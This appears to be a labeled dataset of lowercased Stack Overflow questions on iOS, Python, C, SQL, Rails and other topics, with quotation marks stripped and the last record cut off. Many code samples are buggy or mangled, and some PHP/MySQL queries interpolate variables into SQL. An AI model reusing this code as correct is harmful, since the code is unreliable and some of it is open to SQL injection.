ios - ui does not update after swipe back if navigation controller has only 1 viewcontroller  <strong>viewcontrollera</strong> : <code>rootviewcontroller</code> of <code>navigationcontroller</code>    <strong>viewcontrollerb</strong> : will be pushed into <code>viewcontrollera</code> s <code>navigationcontroller</code>    <br> 1. in viewcontrollera s <code>viewdidload</code>  set <code>interactivepopgesturerecognizer.delegate</code>   <pre><code>self.navigationcontroller.interactivepopgesturerecognizer.delegate = self; </code></pre>   2-1. push any <code>viewcontrollerb</code>. after <code>viewcontrollerb</code> s view is appear  swipe back => <code>viewcontrollerb</code> will be pop  <code>viewcontrollera</code> will be appear again (ok)    2-2. on <code>viewcontrollera</code> is <code>topviewcontroller</code>  swipe back (nothing change because there is no more <code>viewcontroller</code> in <code>navigationcontroller</code>)    => (problem!!) then push controllerb  i expect controllerb s view will be appear but there is nothing change and every tap event does not works.    <br> how can i solve this problem,ios
is there a way to reduce the amount of code for rmsprop  i have some code for a simple recurrent neural network and would like to know if there is a way for me to reduce the amount of code necessary for my update stage. the code i have so for:   <pre><code>class rnn(object):     def__init___(self  data  hidden_size  eps=0.0001):         self.data = data         self.hidden_size = hidden_size         self.weights_hidden = np.random.rand(hidden_size  hidden_size) * 0.1 # w         self.weights_input = np.random.rand(hidden_size  len(data[0])) * 0.1 # u         self.weights_output = np.random.rand(len(data[0])  hidden_size) * 0.1 # v          self.bias_hidden = np.array([np.random.rand(hidden_size)]).t  # b         self.bias_output = np.array([np.random.rand(len(data[0]))]).t # c          self.cache_w_hid  self.cache_w_in  self.cache_w_out = 0  0  0         self.cache_b_hid  self.cache_b_out = 0  0         self.eps = eps      def train(self  seq_length  epochs  eta  decay_rate=0.9  learning_decay=0.0):          # other stuff          self.update(seq  epoch  eta  decay_rate  learning_decay)          # other stuff      def update(self  seq  epoch  eta  decay_rate  learning_decay):            updates the network s weights and biases by applying gradient         descent using backpropagation through time and rmsprop.                      delta_nabla_c  delta_nabla_b \         delta_nabla_v  delta_nabla_w  delta_nabla_u = self.backward_pass(seq)          eta = eta*np.exp(-epoch*learning_decay)          self.cache_w_hid += decay_rate * self.cache_w_hid \                            + (1 - decay_rate) * delta_nabla_w**2         self.weights_hidden -= eta * delta_nabla_w / (np.sqrt(self.cache_w_hid) + self.eps)          self.cache_w_in += decay_rate * self.cache_w_in \                           + (1 - decay_rate) * delta_nabla_u**2                  self.weights_input -= eta * delta_nabla_u / (np.sqrt(self.cache_w_in) + self.eps)          self.cache_w_out += decay_rate * self.cache_w_out \                            + (1 - decay_rate) * delta_nabla_v**2         self.weights_output -= eta * delta_nabla_v / (np.sqrt(self.cache_w_out) + self.eps)          self.cache_b_hid += decay_rate * self.cache_b_hid \                           + (1 - decay_rate) * delta_nabla_b**2         self.bias_hidden -= eta * delta_nabla_b / (np.sqrt(self.cache_b_hid) + self.eps)          self.cache_b_out += decay_rate * self.cache_b_out \                           + (1 - decay_rate) * delta_nabla_c**2         self.bias_output -= eta * delta_nabla_c / (np.sqrt(self.cache_b_out) + self.eps) </code></pre>   for every variable under <code>#rmsprop</code> follows the update rule  namely:   <pre><code>cache = decay_rate * cache + (1 - decay_rate) * dx**2 x += - learning_rate * dx / (np.sqrt(cache) + eps) </code></pre>   i have <code>cache_</code> all declared followed by <code>self.weight_</code> or <code>self.bias_</code> and would like to have this written more compactly. i was looking at using <code>zip()</code> but i m not sure how to go about that.,python
ios app s application support directory files access when app is in appstore  <strong>question:</strong> for an ios app in appstore  can anyone access <code>applicationsupportdirectory</code> after downloading it to device      <strong>discussion:</strong> actually  i am putting some important files in the directory programmatically when they are downloaded from a server  and i wish no softwares like <code>iexlorer</code> or hackers can see those files even phone goes jail broken. your positive input would be helpful for me to secure the files.    <strong>note:</strong> before down-voting the question  do ask yourself if you can improve the question more  if yes please do.,ios
datetime interpretation issue  i have the following data:   <pre><code>startdate    finishdate    details 09/10/2013   11/10/2013    xxx 14/10/2013   13/10/2014    taking a year off </code></pre>   whilst editing this data i which to check the date ranges do not overlap.    i am running an sql query from access via ado to do this; i am putting the dates entered into database format (ie  mm/dd/yyyy ); this is the query i ve got:   <pre><code>select count(*) from markerabsence  where perid = 718 and    ( 10/09/2013  between startdate and finishdate or      10/11/2013  between startdate and finishdate) </code></pre>   if the data is valid  it should return zero records; however it doesnt it returns 1 (being the second listed record above) and therefore seems to be interpreting  10/11/2013  as dd/mm/yyyy instead of mm/dd/yyyy.    yet if i do this in smo:   <pre><code>declare @datevar datetime2 =  31/12/2008 ; select @datevar; </code></pre>   i get:   <pre><code>msg 241  level 16  state 1  line 1 conversion failed when converting date and/or time from character string. </code></pre>   while    <pre><code>declare @datevar datetime2 =  12/31/2008 ; select @datevar; </code></pre>   returns   <pre><code>2008-12-31 00:00:00.0000000 </code></pre>   so why am i having this problem and how do i fix it,sql
please help get rid of the additional 0 i get in the result from the subtraction calculator  please help me get rid of the garbage values and the additional 0  in the result i get from this large integer calculator in c. (here the numbers are taken as strings since i have to work with very large numbers  which and integer data type cannot hold.  )   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main() { char v1[500] v2[500] result[500]; int i j k; int a b c x=0 y=0; int p q r; int elem=0  sum=0;  printf(  please enter 1st number:  ); gets(v1); printf(  please enter 2nd number:  ); gets(v2);  a =strlen(v1); b =strlen(v2);  for(i=a j=b;i&gt;=0||j&gt;=0;i-- j--) {     if(i&gt;=0)     {         x = v1[i]-48;     }      else     {         x = 0;     }      if(j&gt;=0)     {         y = v2[j]-48;     }      else     {         y = 0;     }      sum=x-y;      if(sum&lt;0)     {         sum =sum+10;         p = v1[i-1]- 48;         q = p-1;         v1[(i-1)]= q + 48;     }      sum= sum + 48;      if(a&gt;=b)     {         result[i]=sum;     }      if(b&gt;a)     {         result[j]=sum;     }  }   printf( \n\n    subtraction is:  );  for(k=0;result[k];k++) {      printf( %c  result[k]); }    printf( \n\n\n\n\n\n\n ); return 0; } </code></pre>,c
how to select a particular html tag using python  how to select <code>&lt;span class= wlb_wrapper &gt;</code> tags from <a href= http://www.imdb.com/genre/action/ ref_=gnr_mn_ac_mp  rel= nofollow >http://www.imdb.com/genre/action/ ref_=gnr_mn_ac_mp</a>  this is what i have done so far and it is returning <code>[]</code>:   <pre><code>import urllib from beautifulsoup import beautifulsoup import re  url= http://www.imdb.com/genre/action/ ref_=gnr_mn_ac_mp   page=urllib.urlopen(url).read()  soup = beautifulsoup(page)  body = soup.findall( span   { class :  wlb_wrapper }) body=str(body)  o=open( output.txt   w ) o.write(body) o.close() </code></pre>,python
recursive with square root c++ <pre><code>float pkt(float x  int n) {   float result;   if (n == 0) {     result = 1;   } else {     result = (pkt(x  n - 1) * x) + sqrt(x);   }   return result; } </code></pre>   assume that i insert 4 and 2. i want count it like this:    <img src= https://i.stack.imgur.com/ai8om.png  alt=  >    but the result is 26 instead 18.  the formula is (x^n)+√x.,c++
check for a date/time conflict mysql  ok... so i have a calendar  in a custom php application built using codeigniter  which pulls its entries from a mysql database. in the table containing the entry data  there are 3 fields that govern the date (<strong>start_date</strong>)  time (<strong>start_time</strong>) and duration (<strong>duration</strong>) of the entry. now  as the end-user moves an entry to a new date and/or time  the system needs to check against these 3 fields for any schedule conflicts.    following are some vars used in the query:   <pre><code>$request_entry_id // the id of the entry being moved $request_start_date // the requested new date $request_start_time // the requested new time $request_duration // the duration of the entry being moved (will remain the same) $end_time = ($request_start_time + $request_duration); // the new end time of the entry being moved </code></pre>   my query used to check for a schedule conflict is:   <pre><code>select t.id from table t where t.start_date =  $request_start_date  and (j.start_time between  $request_start_time  and  $end_time )) and t.id &lt;&gt; $request_entry_id </code></pre>   the above query will check for any entry that starts on the same date and time as the request. however  i also want to check to make sure that the new request does not fall within the duration of an existing entry  in the most efficient way (there s the trick). any suggestions  thanks in advance!,mysql
declare dynamic array  how can i declare dynamic array  for example:   <pre><code>int k=5; </code></pre>   i want to have an array like below:   <pre><code>int myarray[k]; </code></pre>,objective-c
hide records on click in the front end temporarily - rails 4.2  actually i want to hide the respective records when <strong>hide</strong> link is been clicked.    please refer the screen-shot for better understanding as shown below;    <a href= https://i.stack.imgur.com/cgalf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cgalf.png  alt= screenshot.png ></a>    before the link is clicked  hidden attribute is false as shown in the terminal as below;    <a href= https://i.stack.imgur.com/flwwj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/flwwj.png  alt= screenshot1.png ></a>    after the link is clicked  it grabs the respective id and calls the <strong>hide</strong> method on the controller which is as shown below;    <a href= https://i.stack.imgur.com/jorm9.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jorm9.png  alt= screenshot2.png ></a>    the problem is that it doesn t either hide that respective row or escape those values from the balance calculation and gets redirected to xvaziris_url.    i tried again and again in order to sort out this issue but unfortunately unable to get the desired result.    xvaziris_controller.rb   <pre><code>def index         @xvaziris = xvaziri.find_by hidden: false         @xvaziris = xvaziri.search(params[:search])          respond_to do |format|             format.js             format.html          end      end  def hide         @xvaziri = xvaziri.find(params[:id])         @xvaziri.hidden = true         flash[:notice] =  xvaziri was successfully hidden.          redirect_to xvaziris_url         end end </code></pre>   routes.rb   <pre><code>resources :xvaziris do         member do             get :hide         end     end </code></pre>   _xvaziri.html.erb   <pre><code>&lt;td class= col-1 &gt;&lt;%= link_to  hide   controller:  xvaziris   action:  hide   id: xvaziri  method: :get %&gt;&lt;/td&gt; </code></pre>   any suggestions are most welcome.    thank you in advance.,ruby-on-rails
ror  app with multiple resources  picking last two from db  i need to create an app with two resources - football players and  fights  between them. fight should always be a thing between just two recently added players. my plan is to have 2 controllers  one for players  one for fights. when fight starts  it goes to action create in fightscontroller. the problem is  surnames of players won t be in params helper  because i won t be selecting them or typing their names in a form - it should happen automatically.    i plan to have their names on a main page and just a button  fight   which invokes create action.    so  my problem is - how can i pick them from database in an elegant way in fightscontroller  i can do something like create(user.last...) or something like that  but is there any better way     kind regards,ruby-on-rails
how to find if an object of a class with same data already exists in a nsmutablearray   i apologize for this basic question  but i am 2-month new to obj-c.    <strong>problem:</strong> i am not able to find if an object with same data already exists in the nsmutablearray.    <strong>what i am doing </strong>   <pre><code>scandiginfofortable* sfile = [[scandiginfofortable alloc]init];         sfile.data =  mydata ;   int inde = [_datalist indexofobject:sfile] ;         if(inde == -1)     [_datalist addobject:sfile];  scandiginfofortable* sfile2 = [[scandiginfofortable alloc]init];         sfile2.data =  mydata ;   inde = [_datalist indexofobject:sfile2] ;         if(inde == -1)     [_datalist addobject:sfile2]; </code></pre>   <strong>issue:</strong> the _datalist get 2 objects instead of 1. many thanks in advance for your attention.    s.p: i already know that i may traverse the whole array in a loop in order to check the data already exists. looking for a better solution as the array may have thousands of records.,objective-c
how to remove duplicate white pegs in mastermind game written in c  i am new to c programming and need some help trying to accurately remove duplicate white pegs in my mastermind game written in c  there are 3 game modes and this is medium which allows duplicate colours. if the user enters  rrgg  and the randomly generated values are  royg  i am trying to work out the best way of checking the first  r  (which is black a peg)  so i won t get a white peg for the second one. as you will see below  i m trying to introduce the concept of a checking array  but not sure how to go about it (although i have attempted it). any other general coding suggestions would be welcomed and appreciated.    <pre><code>#include  mastermindproject.h   // declaration of function variables &amp; arrays int i  j; int num = 0; int blackpegcounter = 0; int whitepegcounter = 0; int attempts = 15; int completedattempts = 0; int invalidcharflag = 0; int checkedblackarray[] = {0  0  0  0   \0 }; int checkedwhitearray[] = {0  0  0  0   \0 };  char name[max_length + 1]; char colour[numcols + 1]; char emptyarray[fourarray + 1]; char randomemptyarray[fourarray + 1];  file *fptr;  // initialise character array colour[0] =  r ; colour[1] =  o ; colour[2] =  y ; colour[3] =  g ; colour[4] =  b ; colour[5] =  i ; colour[6] =  v ;  // initialize random seed: srand ( time(null) ); system( cls );   // medium mode header printf( m e d i u m   m o d e\n ); printf( _________________\n );   // randomly shuffle the  colour[]  array and store the result in the randomemptyarray[] for(i=0; i&lt;fourarray; i++) {     randomemptyarray[i] = colour[randfunc()];     // printf( %c   randomemptyarray[i]);         } // end for loop  start: printf( \nhere are the colours  please enter capital letters only  no spaces: \nr o y g b i v\n );  do   {     blackpegcounter = 0;      // user enters values     printf( \nenter any 4 from the above  you have %d attempts remaining\n   attempts);     fflush(stdin);     scanf( %s   emptyarray);     printf( \n   emptyarray);      // validation     if   (  (emptyarray[0] ==  r  || emptyarray[0] ==  o  || emptyarray[0] ==  y  || emptyarray[0] ==  g  || emptyarray[0] ==  b || emptyarray[0] ==  i  || emptyarray[0] ==  v ) ||             (emptyarray[1] ==  r  || emptyarray[1] ==  o  || emptyarray[1] ==  y  || emptyarray[1] ==  g  || emptyarray[1] ==  b || emptyarray[1] ==  i  || emptyarray[1] ==  v ) ||             (emptyarray[2] ==  r  || emptyarray[2] ==  o  || emptyarray[2] ==  y  || emptyarray[2] ==  g  || emptyarray[2] ==  b || emptyarray[2] ==  i  || emptyarray[2] ==  v ) ||             (emptyarray[3] ==  r  || emptyarray[3] ==  o  || emptyarray[3] ==  y  || emptyarray[3] ==  g  || emptyarray[3] ==  b || emptyarray[3] ==  i  || emptyarray[3] ==  v ) )         {             printf( \nyou have chosen correct colours... );          }         else         {             printf( please enter valid characters from the list r o y g b i v\n );             goto start;          } // end of validation if/else      printf( \nyou entered: %s\n   emptyarray);      // loop to check black pegs / white pegs     for (i=0; i&lt;fourarray; i++)     {         if ( emptyarray[i] == randomemptyarray[i] )         {             printf( black peg |  );             blackpegcounter++;             checkedblackarray[i]++;         }          else if (                      (                        ( emptyarray[0] == randomemptyarray[1] ) ||                       ( emptyarray[0] == randomemptyarray[2] ) ||                        ( emptyarray[0] == randomemptyarray[3] )                      )                     ||                     (                       ( emptyarray[1] == randomemptyarray[0] ) ||                       ( emptyarray[1] == randomemptyarray[2] ) ||                        ( emptyarray[1] == randomemptyarray[3] )                      )                     ||                     (                       ( emptyarray[2] == randomemptyarray[0] ) ||                       ( emptyarray[2] == randomemptyarray[1] ) ||                        ( emptyarray[2] == randomemptyarray[3] )                      )                     ||                     (                       ( emptyarray[3] == randomemptyarray[0] ) ||                       ( emptyarray[3] == randomemptyarray[1] ) ||                        ( emptyarray[3] == randomemptyarray[2] )                      )                 )          {              checkedwhitearray[i]++;              if ( checkedwhitearray[i] == checkedblackarray[i] )             {                 printf( white peg |  );                 whitepegcounter++;             }             else             {                 printf( ----------|  );             }         }     } // end loop to check black pegs / white pegs      attempts--;     completedattempts++;      // game over if no more attaempts or win the game if 4 black pegs     // if win  record details and write to file     if( attempts == 0)     {         printf( \ng a m e   o v e r );         printf( \nyou have no more chances );         break;     }     else if( blackpegcounter == 4 )     {         printf( \n\nyou guessed the sequence and won the game in %d attempts   completedattempts);         printf( \n\nplease enter your intials:  );         scanf( %s   &amp;name);          fptr = fopen (filename   a );         if( fptr == null )         {             printf( \n could not open the file %s.   filename);             system( pause );             exit(0);          } //  end of if ( fptr == null )          fscanf(fptr   %s %d %d   &amp;name  &amp;completedattempts  &amp;whitepegcounter);         fprintf(fptr   \nname: %s: completed in %d attempt(s) and with %d whitepegs.   name  completedattempts  whitepegcounter);         fclose(fptr);         break;      } // end if / else if (lose  win write to file) } while( blackpegcounter != 4 ); // end do while  printf( \n\n\n ); system( pause ); </code></pre>,c
how do sel and @selector work  <pre><code>typedef struct objc_selector  *sel; </code></pre>   in the code above  <code>sel</code> type in objective-c is a pointer to <code>struct objc_selector</code>. so  if i make a <code>sel</code> variable like:   <pre><code>sel asel = @selector(instancemethod) //like this </code></pre>   what happens  what did <code>@selector</code> do to the instance method  <code>instancemethod</code>,objective-c
getting min and max values  so i have an array of custom objects. i want to go through them to find the maxx  maxy  minx  and miny values. i need the largest of the maxes and smallest of the mins.  the following code makes complete sense to me  but i tend to get a random value from the list  my maxes do not get the max or min  and the mins do not get the min or the max.    so  i take the first values from the first object in the array  i then compare each objects values to my current maxx  maxy  minx  miny to see if the object s values are larger or less then  and if so  assign it:   <pre><code>        claimcenterboundary = [datacenter.claimcenterboundarylist objectatindex:0];         maxx = claimcenterboundary.maxx;         maxy = claimcenterboundary.maxy;         minx = claimcenterboundary.minx;         miny = claimcenterboundary.miny;          for (int i = 0; i &lt; count; i++)          {             claimcenterboundary = [datacenter.claimcenterboundarylist objectatindex:i];             nslog(@ minx: %@ miny: %@ maxx: %@ maxy: %@   claimcenterboundary.minx  claimcenterboundary.miny  claimcenterboundary.maxx  claimcenterboundary.maxy);              if (maxx &lt; claimcenterboundary.maxx)                 maxx = claimcenterboundary.maxx;              if (maxy &lt; claimcenterboundary.maxy)                 maxy = claimcenterboundary.maxy;              if (minx &gt; claimcenterboundary.minx)                 minx = claimcenterboundary.minx;              if (miny &gt; claimcenterboundary.miny)                 miny = claimcenterboundary.miny;         } </code></pre>   here is my output:   <pre><code>count: 8 minx: -98.9139404296875 miny: 48.51737594604492 maxx: -98.90547943115234 maxy: 48.52248382568359 minx: -98.9139404296875 miny: 48.51737594604492 maxx: -98.90547943115234 maxy: 48.52248382568359 minx: -98.92726898193359 miny: 48.51534652709961 maxx: -98.91975402832031 maxy: 48.52249908447266 minx: -98.92726898193359 miny: 48.51534652709961 maxx: -98.91975402832031 maxy: 48.52249908447266 minx: -98.92340850830078 miny: 48.51531219482422 maxx: -98.91383361816406 maxy: 48.52248382568359 minx: -98.92340850830078 miny: 48.51531219482422 maxx: -98.91383361816406 maxy: 48.52248382568359 minx: -98.909423828125 miny: 48.51529693603516 maxx: -98.90548706054688 maxy: 48.51742553710938 minx: -98.96006774902344 miny: 48.51530075073242 maxx: -98.94926452636719 maxy: 48.52977752685547 final minx :-98.92726898193359 miny: 48.51531219482422 maxx: -98.94926452636719 maxy: 48.52977752685547 </code></pre>   i can not figure out why this code would not work.,objective-c
does mysql support s creation of hidden column   is there any option in mysql db to create hidden/invisible columns in a table via create/alter table sql  just like oracle.,mysql
mark ios app not compatible with ios 8  and add new app for ios 8 and future   i have an app that ios 8 breaks.  i ve updated this app many time for free for years.  it s time to charge for an update which stupidly has to be released as an entirely new app  however i m also going to lose support for lower versions of ios 5 and 4 at the same time.    which brings up 2 questions..    1)  is it possible to leave this app up for sale and mark it as not ios 8 compatible <br>   a) so that no one downloads it and it doesnt work properly if they have ios 8<br>   b) so that it remains available for users that are on ios5 or less for which the new version of the app will not support <br><br> 2) can i alert current users that upgrade to ios 8 of the update  <br><br> thanks..,ios
datalist itemcommand design   in my application i am using datalist to display the images  i put properties of repeatcolumn=4 and reapeatdirection=horizontal. it is displaying good when there r more than or 4 images if there r only one or two or three images the gap between images r too long. if i have only one image the image displayed in datalist in the middle of the datalist. how can i solve this problem. i think you people understand my problem this is my datalist source code... datalist width= 100%         <pre><code>              &lt;itemtemplate &gt;                    &lt;table width= 100%  &gt;                      &lt;tr&gt;                        &lt;td  &gt;                            &lt;asp:imagebutton id= imgefrien  runat = server  width= 110px  height = 100px  commandname = image  commandargument = &lt;%# eval( userid ) %&gt;  imageurl = &lt;%#  ~/userimages/ + eval( myimage ) %&gt;  /&gt;                        &lt;/td&gt;                     &lt;/tr&gt;                     &lt;tr&gt;                        &lt;td &gt;                           &lt;asp:label id= lblfrienam  runat = server  font-names = verdana   text = &lt;%# eval( username ) %&gt; &gt;&lt;/asp:label&gt;                         &lt;/td&gt;                     &lt;/tr&gt;                   &lt;/table&gt;                &lt;/itemtemplate&gt;            &lt;/asp:datalist&gt; </code></pre>   <a href= http://yfrog.com/jastackoverp  rel= nofollow noreferrer >alt text http://yfrog.com/jastackoverp</a>    <a href= http://img694.imageshack.us/img694/8949/stackover.png  rel= nofollow noreferrer >alt text http://img694.imageshack.us/img694/8949/stackover.png</a>,asp.net
adjust automatically the size of div  i have this code  but the <code>.text</code> is not working as i expected. the <code>auto</code> should fit in the <code>width</code> of the container  but the <code>.text</code> div will be pushed to a second line. i need the auto value because the width of image can change  and the right div should always fit in the container regardless of image width.   <pre><code>&lt;div class= container &gt;     &lt;div class= img &gt;&lt;img src= http://placehold.it/350x150 &gt;&lt;/div&gt;     &lt;div class= text &gt;some text some textsome textsome textsome textsome textsome textsome textsome textsome textsome textsome textsome textsome textsome text&lt;/div&gt; &lt;/div&gt;  .img  .text {     float:left; }  .text{     border: 1px solid red;     height:150px;     width:auto; //should be width:248px in this specific case; }  .container{     width:600px;     border:1px solid green;     height:150px } </code></pre>   <a href= http://jsfiddle.net/lcakw/  rel= nofollow >http://jsfiddle.net/lcakw/</a>,css
winform application configuration on install  this question is related to winform application deployment and configuration.    i am new to .net development and i am working on my first winforms application. whenever i deploy the application i need to set the value of the server to which the user will be connecting.    for this i have to go into program files and change the application configuration file manually using notepad.    not only have i heard that this is not a good practice  it is also a tedious exercise. imagine going to half a dozen users and doing the same thing on each machine.    i am very confused as to what to do. the application config file that is in the same folder as the exe is the file thorugh which i can change the connection string (as i am given to understand).    can anyone help me to solve the following questions.    <ol> <li> how do i update the application configuration file after i install it without having to open it up in notepad  my main concern is updating the connection string. </li> <li> i have heard that using the registry is a possibility in this case. i am scared of using the registry! is this an option  </li> </ol>   please excuse my ignorance if the questions are naive. i am new to .net and looking for answers    thanks romi,.net
how to save various scale rotation and translation states of a uiimageview   i have a uiimageview and i have a nsmutablearray. i apply scale rotation and translation operations on pinch-zoom  rotate and pan gestures.    at various stages i save this state in the array.    i display a table where on tapping on a row i set that particular transform of the uiimageview from the array which i had added when i captured the state.    now when i set back the transform  the image comes to the correct scale and rotation level but not in the correct postion (translation).,iphone
is returning a dereferenced iterator the same as an object   i am trying to return an object of type <code>vertex</code> from a vector. i can only use the iterator; does returning a dereferenced iterator do what i want  to be more precise i want initialize <code>v2</code> to a pointer of the <code>vertex</code> i am returning: that is:   <pre><code>vertex* v2; v2 = &amp;(p_graph-&gt;getvertex(vert2)); </code></pre>   in order to do that i have to use <code>getvertex()</code> that returns a <code>vertex</code> to i prepend it with &amp; to make a pointer and assign it to <code>v2</code>.  the <code>getvertex()</code> function is:   <pre><code>vertex graph::getvertex(std::string v) {         // gets the vertex      for (std::vector&lt;vertex&gt;::iterator it = vertices.begin(); it != vertices.end(); it++) {         if ((it-&gt;getname()).compare(v) == 0)             return *it;  // if strings are the same return vertex     }     exit(1); } </code></pre>   but i am not able to assign it so there is an error somewhere in this part of the code that i have been trying to find for a couple of hours.,c++
how to print selected value from database  i am selecting a value from database and want to print it in the html page. i have tried this piece of code:   <pre><code>$queryreg = mysql_query( select available from hospital where h_name= $hospital   );  $a=    $queryreg;    echo   $a; </code></pre>   but the result is showing as  resource id #7 . please help me out,php
class calling with strings  i might have been mis-understood  i want to create objects and specify which class the object is by using a string.,java
getextra() putextra() having following error <pre><code>10-02 14:51:23.938: e/androidruntime(1524): fatal exception: main 10-02 14:51:23.938: e/androidruntime(1524): java.lang.runtimeexception: unable to start activity componentinfo{com.example.mani/com.example.mani.mapactivity}: java.lang.nullpointerexception 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activitythread.performlaunchactivity(activitythread.java:2180) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2230) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activitythread.access$600(activitythread.java:141) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activitythread$h.handlemessage(activitythread.java:1234) 10-02 14:51:23.938: e/androidruntime(1524):     at android.os.handler.dispatchmessage(handler.java:99) 10-02 14:51:23.938: e/androidruntime(1524):     at android.os.looper.loop(looper.java:137) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activitythread.main(activitythread.java:5041) 10-02 14:51:23.938: e/androidruntime(1524):     at java.lang.reflect.method.invokenative(native method) 10-02 14:51:23.938: e/androidruntime(1524):     at java.lang.reflect.method.invoke(method.java:511) 10-02 14:51:23.938: e/androidruntime(1524):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:793) 10-02 14:51:23.938: e/androidruntime(1524):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:560) 10-02 14:51:23.938: e/androidruntime(1524):     at dalvik.system.nativestart.main(native method) 10-02 14:51:23.938: e/androidruntime(1524): caused by: java.lang.nullpointerexception 10-02 14:51:23.938: e/androidruntime(1524):     at com.example.mani.mapactivity.oncreate(mapactivity.java:25) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activity.performcreate(activity.java:5104) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1080) 10-02 14:51:23.938: e/androidruntime(1524):     at android.app.activitythread.performlaunchactivity(activitythread.java:2144) 10-02 14:51:23.938: e/androidruntime(1524):     ... 11 more 10-02 14:55:46.319: e/androidruntime(1784): fatal exception: main 10-02 14:55:46.319: e/androidruntime(1784): java.lang.runtimeexception: unable to start activity componentinfo{com.example.mani/com.example.mani.mapactivity}: java.lang.nullpointerexception 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activitythread.performlaunchactivity(activitythread.java:2180) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2230) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activitythread.access$600(activitythread.java:141) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activitythread$h.handlemessage(activitythread.java:1234) 10-02 14:55:46.319: e/androidruntime(1784):     at android.os.handler.dispatchmessage(handler.java:99) 10-02 14:55:46.319: e/androidruntime(1784):     at android.os.looper.loop(looper.java:137) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activitythread.main(activitythread.java:5041) 10-02 14:55:46.319: e/androidruntime(1784):     at java.lang.reflect.method.invokenative(native method) 10-02 14:55:46.319: e/androidruntime(1784):     at java.lang.reflect.method.invoke(method.java:511) 10-02 14:55:46.319: e/androidruntime(1784):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:793) 10-02 14:55:46.319: e/androidruntime(1784):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:560) 10-02 14:55:46.319: e/androidruntime(1784):     at dalvik.system.nativestart.main(native method) 10-02 14:55:46.319: e/androidruntime(1784): caused by: java.lang.nullpointerexception 10-02 14:55:46.319: e/androidruntime(1784):     at com.example.mani.mapactivity.oncreate(mapactivity.java:26) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activity.performcreate(activity.java:5104) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1080) 10-02 14:55:46.319: e/androidruntime(1784):     at android.app.activitythread.performlaunchactivity(activitythread.java:2144) 10-02 14:55:46.319: e/androidruntime(1784):     ... 11 more </code></pre>,android
prevent js module execution  i am working on integrating a javascript compiler into my web framework  and am running into a bit of a snag.    when running in development mode  all javascript modules are loaded individualy by ajax  but when switching to production mode  it compiles multiple modules into one file to reduce the number of http requests. each module can call a function to  require  another module.    the problem i have is if modulea requires moduleb  and moduleb is not loaded  it makes an ajax request. consider the following code sample (extremely simplified)  where modulea and moduleb are compiled together. modulea requires moduleb  and moduleb has not been loaded by that point in the script  so it makes an ajax request. a few lines later moduleb is run  and so it has been run twice.   <pre><code>/* compiled script file (multiple files combined) */  util.require = function(modulename) {    if (moduleisnotloaded(modulename)) {       loadbyajax(modulename);    } }  /* start module a */ util.require( moduleb ); moduleb.func(); /* end module a */ util.setmoduleloaded( modulea );  /* start module b */ moduleb.func = function() {    alert( hello world ); }; bind_some_event(); /* end module b */ util.setmoduleloaded( moduleb ); </code></pre>   this is unnacceptable because it defeats the initial purpose of reducing http requests  and some modules bind event handlers  which cannot be bound twice. some modules are not only function definitions and have code that is immediatly run.    is there a way that i can force all modules to be available and registered as loaded  without actually running the code inside each module until the entire file has been run  i understand there is probably not a simple solution  and may require a paradigm shift.,javascript
takes exactly one argument (0 given) <pre><code>class bmicalculator():      #class created for the bmi calculator gui and processing the numbers (pain in the ass to make)#      def __init__(self master):            self.heightcm=doublevar()           self.weightkg=doublevar()            self.master=master           self.master.geometry( 250x200+100+200 )           self.master.title( bmi calculator )            self.label2=label(self.master text= welcome to the bmi calculator  fg= red ).grid(row=0 column=0)           self.label2=label(self.master text= please enter your height in centimetres  fg= black ).grid(row=3 column=0)           self.label2=label(self.master text= please enter your weight in kilograms  fg= black ).grid(row=4 column=0)            self.myheight=entry(self.master textvariable=self.heightcm).grid(row=3 column=1)           self.myweight=entry(self.master textvariable=self.weightkg).grid(row=4 column=1)           self.button4=button(self.master text= calculate bmi  fg= red  command=self.bmicalculation).grid(row=7 column=0)           self.button5=button(self.master text= exit  fg= red  command=self.exit).grid(row=9 column=0)       def bmicalculation(self):           bmiheight=self.heightcm.get()           print bmiheight           bmiweight=self.weightkg.get()           bmi= float((bmiweight)/((bmiheight / 100)**2))           self.bmi = bmi           print bmi           self.label1=label(self.master text= your bmi is %.2f  % bmi).grid(row=5 column=0)            if bmi &lt;= 18.5:                self.label2=label(self.master text= this places you in the underweight group.  fg= blue ).grid(row=6 column=0)                totalindex =  underweight                 self.totalindex = totalindex           elif bmi &gt;18.5 and bmi &lt;25:                self.label3=label(self.master text= this places you in the healthy weight group.  fg= green ).grid(row=6 column=0)                totalindex =  healthy                 self.totalindex = totalindex           elif bmi &gt;= 25 and bmi &lt; 30:                self.label4=label(self.master text= this places you in the overweight group.  fg= orange ).grid(row=6 column=0)                totalindex =  overweight                 self.totalindex = totalindex           elif bmi &gt;=30:                self.label5=label(self.master text= this places you in the obese group.  fg= red ).grid(row=6 column=0)                totalindex =  obese                 self.totalindex = totalindex            if bmi &gt;0 and bmi &lt;999999999999999999999:                self.button6=button(self.master text= store data  fg= red  command=self.dynamic_data_entry).grid(row=8 column=0)       def dynamic_data_entry(self):         #this is what adds the data to the database. bmi has to be changed to the value of bmi and weightclass has to be change to the weightclass           timestamp = str(datetime.datetime.now().date())           bodymassindex = self.bmi           weightclass = self.totalindex           c.execute( 